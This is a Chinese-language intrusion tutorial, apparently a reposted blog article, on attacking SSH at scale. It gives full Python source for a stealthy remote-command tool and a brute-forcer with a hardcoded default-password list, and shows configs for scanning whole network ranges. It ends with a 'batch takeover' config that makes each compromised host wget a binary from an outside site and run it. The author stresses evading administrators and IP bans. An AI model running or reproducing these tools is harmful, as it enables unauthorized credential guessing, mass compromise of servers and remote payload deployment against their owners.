0x000 目录html
1.Kali开启SSHpython
2.SSH链接工具优缺点git
3.渗透专用SSH链接工具github
4.ssh执行cmd源码shell
5.批量SSH密码破解安全
6.SSH批量上控网络
7.相关工具下载ssh
0x001 SSH配置工具
1.打开文件 etc/ssh/sshd_config 2.添加permitrootlogin yes 3.将#PasswordAuthentication yes的注释去掉
0x002 重启ssh服务测试
/etc/init.d/ssh restart /etc/init.d/ssh stop (为了安全测试完ssh工具后可将其关闭)
0x003 SSH链接
1.sshshell交互式链接
sshshell.exe 192.168.1.106 22 root toor
sshshell.exe 单文件交互式SSH链接工具(优势相似putty可保持会话,缺点也相似putty保持链接)
之前我没写有人说你要是加上保持会话功能比较好,说话的语气像是这个很难你没能力实现同样
搞渗透为了隐蔽才没让其保持链接,不是没能力,你要是正常链接网上工具不少功能还强大的很
不过对我来讲不少功能用不到,并且不少工具又大又须要安装过于麻烦,因此我顺手写了这工具
使用putty或网上其它SSH管理工具链接目标机,管理员都可看到攻击者一直在链接
有些人链接SSH去操做没多久,IP被BAN还不知道什么缘由
安服的或许无所谓,毕竟都是受权的,直接扛电脑去接入内网搞
真正从事渗透的,你不专业的操做没被发现,只能说管理员很蠢
2.sshcmd 非交互式SSH链接
渗透专版SSH链接工具GUI版,命令行版为sshcmd.exe非交互
优势都是执行完命令当即注销会话(即目标机看不到网络链接)
sshcmd命令行非交互式,python版编译的很大9M(你们可自行编译不一样PY或依赖版本可能会更小,之前我编译的才6M)
也可用该工具验证密码是否正确,比sshtest要好,毕竟直接可看到是否可执行CMD命令
3.sshtest密码验证
sshtest.exe 192.168.1.106 22 root toor
4.K8Cscan批量验证SSH密码
0.将Cscan.exe Cscan.ini sshcrack.exe放置同一目录
Cscan.ini内容以下
1.爆破弱口令(当前无密码或已获取多个账密)
[Cscan] exe=sshcrack.exe arg=$ip$ 22 "" "" -crack
2.验证一个已知密码(快速检测内网其它机器是否使用同一账密)
[Cscan] exe=sshcrack.exe arg=$ip$ 22 root k8gege -test
3.Cscan扫描单个C段/B段/A段机器
cscan 192.168.1.108 (单个IP) cscan 192.168.1.108/24 (C段) cscan 192.168.1.108/16 (B段) cscan 192.168.1.108/8 (A段)
4.Cscan批量IP/批量C段/批量B段扫描
新建 ip24.txt或ip16.tx或ip.txt 文件,而后输入Cscan便可(无需其它参数)
如下Cscan.ini不指定端口,因经过K8portscan识别出来非22端口
不指定端口意味着ip.txt里须要填写上对应SSH端口
需将图中的sshtest.exe改为sshcrack.exe
0x004 sshcmd源码
import paramiko import sys print("sshcmd 1.0") print("by k8gege") ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) ssh.connect(sys.argv[1], sys.argv[2], sys.argv[3], sys.argv[4]) stdin, stdout, stderr = ssh.exec_command(sys.argv[5]) print stdout.read() ssh.close()
0x005 sshcrack源码
[原创]内网SSH密码爆破工具sshcrack(配合Cscan批量弱口令检测)
http://www.javashuo.com/article/p-xmkcomvz-gx.html
#sshcrack 1.0 #author: k8gege #https://www.cnblogs.com/k8gege #https://github.com/k8gege import paramiko import sys import logging ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) logging.raiseExceptions=False def checkSSH(host,port,user,pwd): try: ssh.connect(host,port,user,pwd) print host+' '+port+' '+user+' '+pwd+' LoginOK' except: pass host=sys.argv[1] port=sys.argv[2] user=sys.argv[3] pwd=sys.argv[4] type=sys.argv[5] if type=='-test': checkSSH(host,port,user,pwd) elif type=='-crack': checkSSH(host,port,'root','123456') checkSSH(host,port,'root','cisco') checkSSH(host,port,'root','Cisco') checkSSH(host,port,'admin','123456') checkSSH(host,port,'cisco','123456') checkSSH(host,port,'cisco','cisco') checkSSH(host,port,'Cisco','Cisco') checkSSH(host,port,'cisco','cisco123') checkSSH(host,port,'admin','admin') checkSSH(host,port,'root','Admin') checkSSH(host,port,'root','toor') checkSSH(host,port,'root','Admin123') checkSSH(host,port,'root','system') checkSSH(host,port,'root','system123') checkSSH(host,port,'root','System') checkSSH(host,port,'root','System123') checkSSH(host,port,'root','Admin123!@#') checkSSH(host,port,'root','root123!@#') checkSSH(host,port,'root','root2019') checkSSH(host,port,'root','root2018') checkSSH(host,port,'root','root2017') checkSSH(host,port,'root','root2016') checkSSH(host,port,'root','root2015') checkSSH(host,port,'root','root2014') checkSSH(host,port,'root','root2013') checkSSH(host,port,'root','root2012') else: checkSSH(host,port,user,pwd)
0x006 Linux批量上控
经过调用sshcmd.exe可实现批量验证SSH密码或者批量上控
详见: [教程]K8Cscan调用外部程序例子(Win/Linux批量上控)
ip.txt内容 格式: IP 端口 用户 账密
192.168.1.8 22 root k8123456 192.168.1.100 444 root admin123 10.1.11.5 22 root p@walod 172.3.4.6 22 root test
Cscan.ini内容
[Cscan] exe=sshcmd.exe arg=$ip$ "wget http://k8gege.github.io/poc.out&&./poc.out"
0x007 工具下载
https://github.com/k8gege/sshshell